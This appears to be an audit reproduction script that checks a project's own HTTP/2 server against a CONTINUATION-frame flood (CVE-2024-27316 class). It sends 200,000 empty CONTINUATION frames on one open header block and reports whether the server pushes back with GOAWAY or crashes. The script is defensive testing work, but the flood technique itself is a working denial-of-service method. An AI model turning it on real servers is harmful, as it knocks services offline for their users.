Files
moloapp/audit/MOLO-H2-003/reproduce.py
T

59 lines
2.2 KiB
Python

#!/usr/bin/env python3
# MOLO-H2-003: HTTP/2 CONTINUATION flood (CVE-2024-27316 class). See README.md.
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "lib"))
import molo_audit as m
# Each CONTINUATION frame below adds 0 header bytes, so the kH2HeaderListMax
# byte-count guard never trips. Capped so the check itself cannot hang the
# box: this is far below what a real attack would send, enough only to
# prove the connection has no frame-count or time floor on an open header
# block, only a byte-count one.
FRAMES = 200000
def main():
m.arm_watchdog()
srv, _tmp = m.start_interop()
port = srv.port
h2 = m.H2(port)
h2.settle(0.2)
sid = 1
# Open a header block with HEADERS (no END_HEADERS): one real byte of
# header data, then an endless run of empty CONTINUATION frames.
h2.raw(m.frame(m.T_HEADERS, 0, sid, b"\x82")) # :method GET, block left open
sent = m.flood(h2, lambda i: m.frame(m.T_CONT, 0, sid, b""), FRAMES, batch=2000)
h2.settle(1.0)
crashed = not srv.alive()
pushed_back = h2.closed or h2.goaway is not None
rss = srv.rss_kb()
h2.close()
srv.stop()
if crashed:
m.verdict_fail("server process died after %d empty CONTINUATION frames" % sent)
if pushed_back and sent < FRAMES:
m.verdict_pass(
"server cut the connection (GOAWAY=%s) after %d/%d empty CONTINUATION "
"frames instead of parsing an unbounded run of them, and stayed up "
"(RSS ~%d KiB)" % (h2.goaway, sent, FRAMES, rss)
)
if sent >= FRAMES and not pushed_back:
m.verdict_fail(
"all %d empty CONTINUATION frames on one open header block were accepted "
"with no GOAWAY; kH2HeaderListMax (connection.cpp) only caps accumulated "
"header BYTES, so a flood of zero-length CONTINUATION frames costs the "
"server a 9-byte-frame parse each with no floor on frame count or time "
"spent in one header block (RSS ~%d KiB)" % (sent, rss)
)
m.verdict_fail("ambiguous outcome after %d/%d (crashed=%s, pushed_back=%s)"
% (sent, FRAMES, crashed, pushed_back))
if __name__ == "__main__":
main()